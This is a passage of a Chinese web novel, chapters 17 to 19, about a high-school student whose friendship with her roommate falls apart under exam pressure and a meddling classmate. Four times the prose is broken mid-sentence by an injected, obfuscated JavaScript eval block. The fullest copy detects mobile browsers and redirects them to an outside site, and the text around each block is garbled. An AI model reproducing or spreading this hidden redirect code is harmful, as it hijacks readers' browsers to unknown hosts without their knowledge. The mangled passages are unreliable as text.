回到教室,我立刻坐到座位上,翻出化学练习册,找到那道题,拿出笔就开始飞快地推演刚才卡住的过程,顺利地把那道大题解完了。 正当我长舒一口气,一瓶黄桃味的酸奶,被轻轻放到了我的桌前。 我抬起头,是参宿。 “喏,助消化。”她语气轻松。 还以为她会生气呢,我松了口气。 可惜,正是她这种仿佛永远不会真的生我气、永远会主动递来台阶的宽容,在后来,让我变得越来越有恃无恐,越来越过分。 我一次次试探她包容的底线,并潜意识里认定——无论我怎样忽视她、因为压力而迁怒他,她最终都会在那里,会纵容我。 这份认知,在当时让我心安理得,却在日后,成为了我无法释怀的悔恨之一。 —— 十二月中旬,附中将迎来一次重要的适应性考试,题目难度很大,备考气氛浓烈。 教室后面的板报被擦干净,写下了每个人的名字和对应的目标大学。 我其实并没有太仔细地思考过未来具体要去哪里,只是模糊地觉得分数要再高一点、更高一点就好。 但徐春红强硬要求每个人都必须填上一个,美其名曰“树立明确目标,激发学习动力”。 我翻着厚厚的《高考志愿填报指南》,注意到北京师范大学,下面有一个公费师范生的项目。 免除学费、住宿费,还有生活补助,毕业后定向就业…… 这对我来说,是个很好的选择。 加上北京这座城市足够发达,教师这份职业也是妈妈和奶奶会感到骄傲的。几乎没有太多犹豫,我随手就把“北京师范大学”写在了我的名字后面。 “你以后想去北京吗?”参宿问我。 我随口应了一声:“嗯。” 然后转头问她,“要不要跟我一起?” “好呀!” 她眼睛弯起来:“不过我可能考不上北师大那么好的学校……但是我可以挑一个其他的北京的大学读!说不定等我们毕业了,或者实习的时候,还可以一起租房子住,一起在北京奋斗!” 我跟她说:“还有半年多呢,不要现在就觉得自己考不上。努力拼一把,什么都可能。” 参宿歪着头,笑容淡了一些:“也不是我不想,就是觉得没必要。” 但很快,她又重新扬起笑脸,看着我说:“但是,为了你,我愿意努力一把!” 我也笑起来:“有不会的题就问我,我们一起努力。” 可惜,参宿就是典型的三天打鱼两天晒网,缺乏持之以恒的毅力和紧迫感。 我时常给她讲题,讲到一半,她就开始眼神飘忽,然后偷偷从桌肚里掏出小零食,“咔嚓咔嚓”地吃起来。 我讲得口干舌燥,看到她这样,火气“噌”就上来了:“你到底有没有认真在听?” 她就会有点半撒娇地说:“听了听了……可是我真的听不懂嘛……” 以前,我特别喜欢听她这种撒娇的语气,觉得她任性可爱。 但现在,在巨大的备考压力下,我却感到一阵厌烦。 对她这种永远不正经、不投入的态度感到无力又恼火。 有时候还会碰上张扬来插科打诨。 我给参宿一遍遍讲导数单调性,讲到第四五遍,她在对面茫然地摇头,张扬在旁边看着,一副“孺子不可教也”的表情,然后猛地一拍大腿:“唉!这道题我有更好的解法嘛!” 然后他开始滔滔不绝地讲他那一套“玄学”排除法:“你看这四个选项,ABC的图像趋势都是先增后减再增,只有D是先减后增再减,所以排除D,然后你看A和C的值域范围在-1到1之间,B的值域是负无穷到正无穷,这明显不对,排除B,最后你看你前面连着选了三个A了,按照选项平均分布定律,这题肯定选C!” “完美!” 参宿听得一愣一愣的,然后和张扬斗起嘴来:“你这是什么歪理邪说啊!哪有这样解题的!” 张扬:“怎么不行?这不是做对了吗?还不是你脑子笨,正规方法听不懂!” “你才笨!” 我被他们吵得头大,用力拿笔敲了敲桌子,瞪着张扬:“我们在认真讲题,你能不能不要老是来捣乱?” 参宿冲他吐吐舌头:“对呀!你能不能别来捣乱?” 我又瞪了参宿一眼:“还有你!你能不能听得认真一点?这是导数的基本概念啊!有那么难懂吗?我都讲四遍了!四遍!你每一遍都是垂着个脑袋,边听边打哈欠!你到底有没有思考啊?” 我一股脑发泄出来。 自那以后,参宿就很少再来主动找我问问题了。 当时我也有过一瞬间的自责,觉得是不是该再耐心一点。但转念一想到她那副永远不在状态的样子,又觉得她可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她笑嘻嘻地把剩下的钱塞给我:“都是买的我喜欢的,剩下的钱你买你喜欢的!” 最后,我在零食区看上了一种很新奇的即食年糕,小小一坨,有绿色和白色,外面包着一层保鲜膜,看起来糯叽叽的。 称了四个,刚好十块。 “真贵。”我小声嘀咕。 我和参宿拎着这些“战利品”回到出租屋,屋里比外面暖和多了。 一路上,我们都被烤鸭香得口水直流,一进门就迫不及待地解开外面的包装纸。 因为是半只鸭子,所以只有一个鸭腿。 在我们家,人少,通常也只买半只鸭子。唯一的鸭腿,奶奶和妈妈总是会让给我,因为她们爱我。 我也爱参宿。 所以,我理所当然地夹起那个鸭腿,蘸好甜面酱,递到参宿嘴边。 “你吃。”她愣了一下,推给我。 “你吃吧,我吃其他的肉,都一样。” 她接过去,开心地啃起来:“这还是我第一次吃到鸭腿呢。” 我怔了一下,问她:“为什么?” “因为鸭腿都是给我弟的。” “你爸妈……重男轻女?”我问了出来。 其实我和参宿认识这么久以来,对彼此的家庭都知之甚少。开家长会的时候,她家没有人来,我家也没有人来。我们从未见过彼此的家长。 这还是我第一次隐约察觉到,她似乎也有一个并不简单轻松的家庭。 她沉默了一下,出了会儿神,然后摇摇头:“也不算重男轻女吧。” 她没再继续说下去。 我心里有点发酸,告诉她:“没关系,等我以后赚了大钱,买一整只鸭子,把两个腿都留给你吃。” 她一下又笑起来了,眼睛亮亮的:“好啊!那我可记住了!” 最后,我们并没有把那份鸭肉吃完,因为吃到后面实在有点腻了。 从最初脆皮入口的极致香酥,到后来腻得发慌,觉得有点负担。 然后,我打开了那个贵得要死的小年糕,咬了一口在嘴里,非常黏,糯米团子死死黏在牙齿和上颚,咽都咽不下去,而且甜得发齁,糖精味很重。 “早知道这么难吃,还不如买包辣条。”我懊悔不已。 参宿也打开一个,放在嘴里嚼啊嚼,表情艰难,却还是说:“没事嘛,什么都要尝试一下,不买你怎么知道它难吃呢?” 然而最后,剩下的两个年糕,我们实在无法解决,最终还是丢给了张扬。 还骗他说:“喏,特地给你买的!新品哦!” 张扬吃得美滋滋,一边嚼一边还发表了长达五百字的“吃后感”,夸它糯而不腻、甜中带香,把我和参宿听得面面相觑,憋笑憋得肚子疼。 17. 挑拨,黄晶晶你真会 南方冬天忽晴忽阴的天气,难以捉摸。 我和参宿的关系,像是挂在阳台外的衣服,天晴的时候被太阳晒一晒,好不容易干爽了一些,不出十分钟,下点小雨又把我们淋得透湿。然后天一放晴,我们又勉强被晒得半干,紧接着又是一场猝不及防的雨。 …… 我们没有去挑明那些堆积起来的、不起眼的小矛盾,默契地选择了回避。 但话确实变少了,有时候一天下来,除了必要的交流,讲的也不超过十句。 我只顾着埋头努力学习,参宿则开始沉迷于看小说。 那时,她喜欢沈从文的《边城》,上课看,下课也看。因为结局太过怅然,翠翠孤独的等待让她无法接受,她就来来回回翻看了好几遍,试图从字里行间找到一丝傩送会回来的暗示。 结果张扬这个煞风景的,在旁边巴拉巴拉地跟她科普沈从文的生平,什么出轨、婚外情、辜负原配,讲得唾沫横飞。 参宿不愿意相信:“不会吧?能写出这么深情故事的人,怎么会……” 她太天真了。 世界上哪有绝对的忠诚?没选择背叛,只是诱惑不够大罢了。 人人都有可能出轨,这是人性。 不止是爱情,其实任何情感,一旦有了第三者的介入,就很容易走向决裂。 “商姐。” 陆邵鹏站在我座位前,冲我挤眉弄眼,“你懂的。” 我无奈地瞥了他一眼,还是从桌屉摸出了钥匙,递给他:“记得快点还我。” “木马~爱你!”他留下一个飞吻,拿着钥匙直奔办公室。 不到五分钟,他揣着手机回来,把钥匙还我:“大恩不言谢!” 参宿凑过来,小声说:“你怎么又把钥匙给他了?万一被徐春红发现,她又得说你了。” 我耸耸肩,一副无所谓的样子:“发现就发现呗。” 徐春红把锁手机的柜子钥匙交给我保管,本身就是一件不讨好的苦差事。同学经常来找我借钥匙,偷摸拿回手机玩一会儿。 我要是拒绝了,就招人恨。 要是被发现了,顶多也就是被徐春红不痛不痒地批评两句。 无所谓,还能让别人欠我点人情。 晚自习结束,我照例去用这把钥匙打开柜门,把走读生的手机拿出来发还给他们。 黄晶晶拿到自己的手机,走到了参宿桌前,声音甜甜地问:“参宿,我今天可以跟你们一起走吗?” 黄晶晶。 我对这个人实在生不出什么好感。 她是班里乃至年级上都比较出名的女生,和每个班有点名气的男生都传过绯闻或谈过恋爱,新鲜感一过就无缝衔接下一个。 她还喜欢四处跟人说自已有抑郁症,昨天跳楼未遂,今天割腕明志。 风评实在不怎么样。 不过这还不至于让我讨厌她,毕竟与我无关。但她几次三番地背刺参宿,却让我极其反感。 她总是有麻烦就来找参宿帮忙,哭得梨花带雨,但转头,关于参宿和张扬的一些难听的谣言,追根溯源,都是从她嘴里说出去的。 每次被张扬质问,她就眨着无辜的大眼睛说:“哎呀,我就是开个玩笑嘛,你不会这么小气生气吧?” 这种两面三刀的做派很快让她遭到了报应,她和宿舍其他所有人闹掰了,不得不搬出来走读。 今天,是她走读的第一天。 “可以吗参宿?晚上太黑了,我一个人不敢走……” 黄晶晶拉着参宿的胳膊轻轻摇晃。 参宿犹豫地看了我一眼,但最终还是心软,点了点头:“……好吧。” 我对此没有任何表示,黄晶晶也不需要我有任何表示。 她的目的已经达到了。 一路上,她们俩倒是有说有笑。 黄晶晶不停地刷着手机,看到什么搞笑的视频或八卦就立刻凑到参宿耳边分享,叽叽喳喳,基本上没有任何能cue到我的话题。 我在旁边走着,倒显得像个多余的第三者。 所以我干脆加快了脚步,独自走在前面。 参宿“啪啪啪”地小跑着跟上来,黄晶晶也紧随其后。 “怎么走那么快呀?”黄晶晶喘着气问。 我停下来,看了她一眼,语气平淡:“我平常就走这么快。” 参宿看出了我的不悦,但夹在中间也不好说什么,只是尴尬地笑着打圆场:“嗯……对呀,她平常走路就比较快。” 黄晶晶“噢”了一声,天真又冒失的语气说:“我还以为是因为我一直跟宿宿说话,忽略了你,然后你生气了呢?” 此话一出,空气安静了一瞬。 我真的不知道她是故意的,还是真的蠢到这种地步。 但我懒得去计较和拆穿她微妙的挑拨,只是扯出一个笑:“没有啊。” “她跟别人说话是她的自由,我干嘛要生气?” 我们三个继续往前走。 黄晶晶住在我们隔壁那栋楼,走到楼下,她捂着肚子说:“哎呀,好像有点饿了,参宿,陪我去小卖部买桶泡面吧?” 说着就很自然地挽起参宿的胳膊往旁边带。 我最终什么也没说,自己先转身上楼了。 一想到以后每天晚自习结束,我们可能都要这样三个人一起回家,我就觉得一阵头大,心情莫名烦躁。 但是,理智又告诉我,我不能要求参袖拒绝她。参宿本来就是个心软的人,更何况这大晚上的,让黄晶晶一个人走回去,确实也不安全。 我能理解,也在心里尽力劝自己不要那么小心眼,不要因为一个外人影响我和参宿的关系。 过了一会儿,门口传来钥匙转动的声音。 参宿回来了。 我感觉有东西戳了戳我胳膊,扭过头,发现是一根草莓味的阿尔卑斯棒棒糖。 参宿眨巴眨巴眼睛看着我:“对不起嘛……” “不要生气,好不好?” 在这件事里,参宿夹在中间不好做。 我讨厌的是黄晶晶,我又不讨厌参宿。 我撇撇嘴,接过了那根棒棒糖,撕开糖纸,塞进嘴里。 算是接受了她的道歉,也给了彼此一个台阶下。 只是那时我们都没意识到,第三个人的影子,已经开始插入在我们之间,预示着更多无法回避的风雨。 —— 我其实很苦恼,如果黄晶晶后半年一直要跟我们一起回去,那照这种情况还不知道她跟参宿的关系会发展成什么样。 可惜,实际情况比我想象的更糟。 不只是晚自习后那一小段路,白天上学期间,黄晶晶也开始频繁地找参宿。 她跟之前那帮女生彻底闹掰了,现在一个朋友也没有,格外孤单。一到下课,不管有事没事,她就立马跑到参宿桌子前,黏着她聊些没营养的八卦和废话,吵得人心烦。 所以大部分时间,我都直接拿着习题册和笔躲到走廊上去,图个清静。 黄晶晶呢,彻底黏上了参宿。开始约她一起上厕所,一起下楼去那片我们曾经最爱的蒲公英花田里散步,中午也自然要一起吃饭。 一开始,参宿还对黄晶晶说:“我们再等二十分钟去食堂吧,避开高峰。” 黄晶晶疑惑地问:“为什么呀?你们不饿吗?我现在就饿了!” 参宿笑笑:“还好啦。” 黄晶晶并不想一个人吃饭,只能选择等着。 然后就一屁股坐在参宿前面的空座位上,转过身,面对着参宿,开始聊年级里的八卦,谁和谁好像在一起了,谁又和谁吵架了,更多的是对别人穿着、举止甚至成绩的指指点点和坏话。 声音不大不小,刚好能清晰地传到我耳朵里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我却始终低着头,对她的话左耳进右耳出,只是模糊地听到一些词汇,随口敷衍:“嗯,好,行。” 其实我并不在乎她说了什么,因为我觉得我们已经无法改变这种现状——黄晶晶就是要强硬地挤进我们之间,而且看起来要持续很久很久。 而我的当务之急是学习,是下次考试不能再考砸,我没那么多工夫和心力去搭理这些情感纠缠和人际关系里的弯弯绕绕。 参宿见我这样敷衍和冷漠的态度,似乎也有些难过和生气了。 “你可以认真听我说话吗?我是在很认真地跟你商量。” 我终于停下笔,抬起头。 “随便你。都可以。我无所谓。这是你自己的选择。” 就在这时,黄晶晶又来了,精准地插在我和参宿之间。 她兴高采烈地拿起参宿的一只手,把一条编织的红绳手链套在她手腕上:“看!我自己编的哦!送给你!” 我低下头,盯着我的题,只是耳朵里听到参宿的声音:“真的吗?好漂亮啊,晶晶你手真巧。” “那当然!” 黄晶晶的语气更加得意:“我也有一条,你看!我们的是闺蜜手链哦!” “你的也很漂亮。”参宿回应道。 “我有话要跟你说,参宿,我们去外面说吧!”黄晶晶忽然提议,声音清脆,“不然在这里会打扰到某些专心的同学。” 我感觉到参宿迟疑地看了我一眼,但最终还是被黄晶晶拉走了。 我随眼一瞟,能看到她们站在走廊的栏杆边,黄晶晶亲热地挽着参宿的胳膊,两人头靠得很近,谈笑风生。 黄晶晶,你真会。 18. 争吵,你简直不可理喻! 以往的体育课,我和参宿经常会偷溜出去,开个小灶,买点零食,享受片刻的悠闲。 但这一次却没有。 这节体育课,先是让大家统一跑了两圈,然后做了热身运动。 解散后,男生一窝蜂地去打篮球了,女生则照旧三三两两坐在花坛边,拿出单词书或“小甘速记”开始背。 我们的体育老师是个40来岁的中年男人,年轻时候身材魁梧,如今年纪上去了,锻炼少了,肌肉渐渐退化成了肥肉,但体格依旧粗壮。 他翘着二郎腿也坐在花坛边,对着女生们喊:“喂,我说你们不要一直坐着嘛!一周才一节体育课,动一动啊!” 他说完,女生们也没几个人理他。 他有点没面子,站了起来,吹了个响亮的哨子。 远处打篮球的男生们都停下,疑惑地跑过来集合。 体育老师挥挥手让男生们回去继续打球,然后对着我们这群懒洋洋的女生下令:“过来集中!既然不想自己动,那我就带着你们动!” 我们班十七个女生,慢吞吞地集成一队,然后就在他的指挥下,被迫绕着操场开始跑。 跑完一圈还不算,又换成走鸭子步。 我们一边歪歪扭扭地蹲着走,一边低声骂骂咧咧。 两圈下来,大家都喘着粗气,浑身冒汗,在这冬天里倒是难得的暖和了。 没想到,他还没有要放过我们的意思,又吹了声哨子,笑着说:“热身活动差不多了啊!我们现在来玩点小游戏怎么样?” 女生们立刻怨声载道:“不要了老师!” “够累了!” “想休息一下!” 老师却不为所动:“越不动越懒!体力劳动不够,脑子也转不动,思考问题就不行!” 说完,也不给我们反驳的机会,自顾自地又吹哨,让我们围成一个大圆圈。 说实话,到了这一步,我心里已经后悔死了,为什么今天没有逃掉这节体育课。 他开始介绍游戏规则:大家自由在圈内走动,等他哨声吹响,他会报一个数字,我们就要相应数字的人立刻抱成一团,落单的那一个,就要惩罚做20个蹲起。 我们虽然抱怨连连,但也不敢真的反抗。 游戏开始,大家就在圈里漫无目的地晃荡,气氛尴尬又紧张。 哨声一响,报出数字,大家就惊呼着、尖叫着,手忙脚乱地拉扯身边的人,凑成团。 我基本上都是被人扯过去、拉过去才抱在一起的,完全没有任何主动去抱别人的意愿,只觉得这种游戏无聊又尴尬。 尤其对于落单的人来说,简直是一种公开的处刑。 落单女生,满脸通红,在所有目光的注视下完成动作,尴尬得恨不得钻进地缝里去。 而玩得最开心的就是这个sb老师。 最后一轮,体育老师喊了个“2”。 17个人,注定有一个落单。 我站在原地,没动。 目光扫过,看到参宿站在不远处,我们对视了一眼,她朝我走了过来。 就在那一刻,我不知道是哪种心理作祟——是这段时间积压的烦躁?是对黄晶晶黏着她的赌气?还是想惩罚一下她的念头? 我侧过身,拉住了旁边另一个同样有些茫然的女生,迅速和她抱在了一起。 瞬间,我就后悔了。 我清楚地看到参宿向我伸出的手僵在了半空,她的脚步顿住,脸上的笑意冻结,然后碎裂。 她成了那个多余的人。 “哟!这位同学落单了,20个深蹲!” 体育老师的声音听起来格外刺耳。 参宿始终低着头,我看不清她的表情。 她沉默地走到圈子中间,开始一个一个地做深蹲。 “一、二、三……蹲下去哦……” 我不敢再看她,黄晶晶倒是看得有滋有味。 下课铃终于打响。 集体解散,我僵在原地。 黄晶晶立刻凑到参宿旁边:“参宿你没事吧?累不累啊?” 参宿没有回应黄晶晶,甚至没有看她一眼,一个人低着头,走回了教学楼,把她都晾在原地。 接下来的几节课,她一直趴在桌子上,肩膀微微起伏,不知道是累了还是在哭。 我手里的笔捏了又松,松了又捏,一道题也看不进去。 我终于意识到,我和参宿之间,因为我的一个愚蠢举动,裂开了一个巨大的裂缝。 下午吃饭时间,黄晶晶又来了。 这一次,参宿站起身,跟着黄晶晶走了出去。 自始至终,没有叫我。 我烦躁地揉了揉脸。 张扬意识到不对劲,坐到我面前:“你俩闹别扭了?” 我叹了口气,不想说话。 “是因为体育课那个游戏?你没跟她抱一起?” 他倒是看得清楚。 我点点头,又摇摇头,心里乱成一团麻。 “去哄哄呗,”张扬难得语气正经,“参宿在乎你,你没选她,她心里肯定难过死了。” 我撇撇嘴,嘴硬道:“一个小游戏而已,她怎么不去怪那个傻逼老师设定这种弱智游戏?怎么不去怪黄晶晶当时没拉她?” “废话,”张扬瞪我,“我刚刚都说了,她在乎的是你!你才是她最好的朋友!而且我都看见了,是你,抛弃她选了别人。” 我哼了一声,说着“不想哄,烦死了”。 身体却很诚实。 我去食堂买了一份现烤蛋挞。 参宿一直到晚自习前五分钟才回来。 这个季节,蒲公英花田早已凋零,但学校里的冬樱开得正好。她和黄晶晶一人手里拿着几枝冬樱花,有说有笑地从教室前门进来。 她坐下时,我鼓起勇气,把还温热的蛋挞盒子从桌肚里拿出来,递到她手边。 “给你买的。” 她没有接,也没有看我:“不用了,谢谢。” 在我的记忆里,她从来没有用这样的神情和语气对待过我。 我所有好不容易鼓起的勇气,在这一刻被彻底击碎,溃不成军。 我讪讪地收回手,看着那盒蛋挞,不知该把它放在哪里。 我和她之间的沉默,一直持续到晚自习结束。 晚自习结束,我们三个走出校门,走上那条熟悉的小路。 黄晶晶照常在刷手机,刷到好笑的东西就分享给参宿,而我照常一言不发。 回到出租屋,才是我们真正单独相处的开始。 她今天没有像往常一样煮泡面或小米粥。 我犹豫了很久,还是干巴巴地问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“怎么了?现在是不是你也觉得是我在耽误你?” 我无可奈何:“她怎么想关我什么事?” “再说了,徐春红这么说难道没有一点原因吗?你最近几次成绩下滑得多厉害你自己不清楚吗?学也学得不认真,每次回来就抱着手机,上课不是看小说就是睡觉,你自己看看你这样像话吗?” “所以你就是觉得我在打乱你的节奏,对不对?”她拔高声音质问我。 “我没有!” “没有?”她笑得比哭难看。 我深吸一口气,试图让她明白:“徐春红是什么样人我们都知道,当初我成绩差,她也觉得我耽误你,你不是告诉我别往心里去,考好成绩打她脸吗?” “这些话我听进去了,我也做到了,可怎么现在轮到你自己了,你就做不到呢?你就选择这样摆烂?你就不能也认真一点,争口气吗?” 参宿别开脸:“是,我做不到,反正也没有人在乎我,考好考坏,谁在乎?” “难道我不在乎吗?”我脱口而出,“一开始你说要和我考一所大学,我很开心,但你跟放了个屁一样。我跟你讲题,一遍两遍三遍,你听进去一点了吗?你有一点点认真在听吗?你在吃零食,在走神,我看着你这样我难道不气吗?我不失望吗?” “如果我不在乎,我干嘛要浪费那个时间给你讲题?” “那你就别在乎我了,好好操心你自己吧!” 她冷笑一声:“免得到时候,真的被我这个扶不上墙的烂泥给耽误了。” “你简直不可理喻!”我失望透顶。 19. 风波,一波未平一波又起 那个时候,我和参宿,这两个曾经在最艰难时刻互相取暖、彼此最能理解对方的人,却在高三巨大的压力和各自难以言说的家庭隐痛下,渐渐耗尽了所有耐心。 我们把往日积压的委屈、愤怒和对未来的恐慌,全都化作最尖锐的刺,狠狠地扎向对方。 我们再也不能像过去那样体谅对方。 于我而言,一方面,我那可笑的自尊和骄傲不允许我真正舍下面子,去和她进行一次坦诚的、深入的交谈,去好好地道一个歉。 另一方面,我又自作聪明地抱着一种侥幸心理,认为我和参宿之间的缘分足够深,深到不会因为这点争吵就彻底散掉。 我总觉得,等过了这段压抑的时间,我们或许还会像以前闹过的那些小别扭一样,自然而然地就和好了,参宿会一直站在那里等我。 可现实冰冷而残酷。 除了晚自习后不得不一起回去。 吃饭、课间、去小卖部,她都不再和我一起。 黄晶晶彻底占据了我曾经的位置。 适应性考试的成绩下来了,这一次,我遭遇了真正的滑铁卢,年级排名猛地下滑了一百三十多名。 中午放学,大家都涌向食堂,我被钉在了座位上,没有像往常一样刷题,只是浑身无力地瘫坐着,脑子里一片混乱。 我想和参宿最近的争吵,想这惨不忍睹的成绩,想我该如何面对妈妈疲惫的眼神和徐春红可能的责问……越想越烦,越想越绝望。 整整二十分钟,我就那样一动不动地坐着。 直到肚子饿得发慌,我才站起来,晃晃悠悠地走出教室,往食堂走去。 路过校门口时,发现那里围了一小群人。 我鬼使神差地停下脚步,从人群缝隙中,依稀看到一个男人,激动地趴在学校铁门上,用力拍打着,大声喊着:“我是参宿的爸爸!同学!麻烦帮我去高三叫一下参宿!我要见她!让我见见她!” 放在平时,我一定会立刻上前问个清楚。 可此刻,我和参宿是什么关系呢?一个连话都不说的室友?我有什么立场过去?我站在原地踌躇了几秒,最终低下头,走向了食堂。 晚上回到出租屋,我又下楼一趟,给妈妈打了个电话。 心里既坎坷,又有一种破罐破摔的平淡。 电话被接起,我说:“对不起,妈,我这次没考好。” 电话那头沉默了两秒钟,随即传来一声沉重而浑浊的叹息。 “你告诉我,你脑子里到底每天都在想些什么呢?” “高三了啊,最后关头了,你怎么能……你这样下去,你的未来怎么办?你的前途还要不要了?妈妈所有的希望都在你身上了……” 我始终沉默地听着,一言不发。 “你能不能让妈妈省点心?下次,下次一定考好,行不行?算妈妈求你了,好好珍惜你的前途,可以吗?” “……我会的。”我听到自己干巴巴地回答。 挂掉电话回到出租屋,参宿裹在被子里玩手机,她又发出咯咯咯的低笑声。 她还笑得出来…… “小声一点,很吵。”我说。 那边的笑声戛然而止。 接下来的几天,我常常能看到那个自称参宿爸爸的男人在校门口出现,大声呼喊着要见参宿。 我不知道参宿家里究竟发生了什么,我已经无暇也无力去顾及了。 黄晶晶现在是她的朋友,就让黄晶晶去管吧。 十二月,学校掀起了一场流感风波。 周二到校的人稀稀拉拉,我们班只有三十个人。 我照例负责收走读生的手机,结果发现到的只有我、黄晶晶和参宿三个人。 其实不光是因为流感,很多人在适应性考试中信心受挫,找借口回家调整了。 后半段晚自习没有老师坐班,陆邵鹏又大摇大摆地来找我借钥匙,我心情糟透了,也没多想,给了他。 不知道是最近压力太大、休息不好,还是真的被传染了,我觉得头昏昏沉沉的,后半段晚自习根本打不起精神。 好不容易熬到下课,我去拿手机,却猛地发现,陆邵鹏并没有把钥匙还给我。 而参宿和黄晶晶已经背好书包在旁边等着了。 我心里咯噔一下,明白自己闯祸了。 我硬着头皮跟她们说:“等一下……”然后飞快地跑下楼。 陆邵鹏是住宿生,但偶尔晚自习后会冒充走读生混出学校。 我在心里一万遍祈祷他没出去,冲向男生宿舍楼。 虽然极其尴尬,但我进不去,只能站在楼下压低声音喊了两声“陆邵鹏!”。 正当我心焦如焚准备再喊时,却看见女生宿舍楼那边走来一大群老师。 今天是查寝的日子。 我心里瞬间凉了半截:完蛋了。 最终,我只能空手而归。 看到参宿和黄晶晶还等在教学楼下,我不得不艰难地开口:“钥匙我给陆邵鹏了,但他没还我……” 黄晶晶立刻瞪大眼睛:“啊?那怎么办?我们今天拿不到手机了?” “对不起,是我的失误。”我对黄晶晶说。 黄晶晶还不死心:“你有去他宿舍找吗?他没答应你吗?还是……” “楼下有老师查寝,我不敢再喊了。”我打断她。 黄晶晶还想说什么,参宿却开口了:“行了,那先回去吧。” 我们三个人再次沉默地走在回家的路上。 走到我们那栋楼下时,参宿忽然对黄晶晶说:“你没手机,一个人回去……晚上敢睡觉吗?” 黄晶晶害怕地说:“其实……有点不敢,我那屋子本来就有点黑……” 我的手插在兜里,不停地掐着手指,内心充满了愧疚和不知所措。 这件事,确确实实是我的错。 参宿顿了顿,说:“要不然……你今天晚上跟我们住吧?” 我咽了一下口水,心脏莫名缩紧。 黄晶晶犹豫了一下:“这样可以吗?不太好吧……” “没事,我们那是双层床,你睡我的上铺,我跟商尽欢睡下铺吧。” “也行……”黄晶晶思考了一下,答应了。 那天晚上,参宿又重新煮起了泡面,和黄晶晶分着吃了。 吃完后两人一起洗漱,低声说着话。 我一直坐在书桌前,把书本翻来覆去,却一个字都看不进去。 黄晶晶爬向上铺,抖了抖被子,然后问:“参宿,你要不要上来跟我一起睡啊?” 参宿最终还是说:“没事,我睡下铺吧,这床也不大。” 没想到,我和参宿再次睡在同一张床上,竟是在这样一种情境下。 那天晚上,我破天荒地熬到了凌晨四点半,脑子异常清醒。 黄晶晶中途起夜上了厕所,看见我还坐着,“啧”了一声,说:“真用功。” —— 周四第一节是数学课,下课铃刚响,我就被徐春红叫到了办公室。 “你怎么回事,商尽欢?” 她把成绩单拍在桌上:“你知道你这次滑得有多严重吗?直接滑倒刚来附中时的水平了!努力那么久,一朝回到解放前!” 我低着头,盯着自己洗得发白的鞋尖:“对不起老师,我下次争取考上来。” “放屁!” 她生气地瞪着我,“你上次就是这么跟我保证的!下次下次,还有几个下次?” 我抿紧嘴唇,无法再开口。 “像你这样,一个女生在理科能学到这个程度,是非常不容易的。所以,即便你只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480737|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个借读生,老师也非常关注你,非常看重你,明白吗?才会对你说这些话。” 借读生。 又是借读生。 我讨厌这个称呼。 从前它意味着格格不入和轻视,现在它变成了不容失败的期望和压力。 我什么时候能够摆脱掉借读生这三个字? 从办公室出来,我浑身冰凉。 从教室后门进去,黄晶晶和几个男生围坐在一起,嘻嘻哈哈。 看见我进来,她立刻提高了音量,对那些男生说:“我昨天和参宿、商尽欢她们住一起,你们都不知道,商尽欢超级努力的!我半夜睡醒一觉,发现她居然还在那写题!巨用功!” 那几个男生笑着起哄:“啧啧啧,那你还不跟人家学着点?” “学不了学不了,”黄晶晶摆摆手,语气夸张,“不是一般人的毅力~” 我平静地走到她桌前,自上而下地看着她。 “你这样有意思吗?” 黄晶晶睁着大眼睛,眨了眨:“我怎么你了呀?我这是在夸你欸!” 我舔了一下后槽牙,极轻地笑了一声。 黄晶晶“噌”地站起来:“你什么意思嘛你?要不是你昨天……” 她话没说完,参宿从座位上站了起来,喊了一声:“晶晶,陪我去趟卫生间。” 她走过来,亲密地挽住黄晶晶的胳膊,从我面前离开。 那几个男生面面相觑,问我:“……你和参宿闹掰了?” “歪日,真不可思议……你们俩在我们心里可是像连体婴一样啊……” 我什么都没说,走回自己的座位坐下。 那天晚上,我不再愿意和她们一起走回去。 我磨磨蹭蹭地收拾书包,然后对参宿说:“你们先走吧,不用等我了。” 参宿还没回应,黄晶晶已经收好书包跑过来。 我又重复了一遍:“不用等我了,你们先走。” 黄晶晶立刻说:“行啊!”说着就去拉参宿的胳膊。 参宿却没有动,站在原地看着我:“天太黑了,路上危险。” 我直接了当地告诉她:“我不想跟你们一起走。” “这是安全问题,你能不能不要任性?” 我笑了一声,看着她:“我没有任性。” “我们俩现在这样算什么呢?室友吧。你难道怕我死在路上跟你扯上关系吗?” 黄晶晶被我的话激得火大,扯着参宿:“什么人呀!你这人脾气怎么那么怪?我们又没有招你惹你!而且明明就是你昨天晚上把我的手机锁在……” 我猛地扭头冲她吼了一声:“那你就去跟徐春红告我呀!” “我有什么不敢的!你等着!我现在就给她发消息!”她真的掏出了手机。 终于,参宿动了。 她一把拉住黄晶晶。 教室里的灯准时熄灭。 我一个人坐在黑暗里,享受着这片刻难得的安静,直到保安叔叔巡查的手电光晃进来,照亮我麻木的脸。 “哎呀同学!”保安吓了一跳,捂着心脏,“这大晚上的赶紧回家呀!在这坐着干什么?” 我这才麻木地拎起书包。 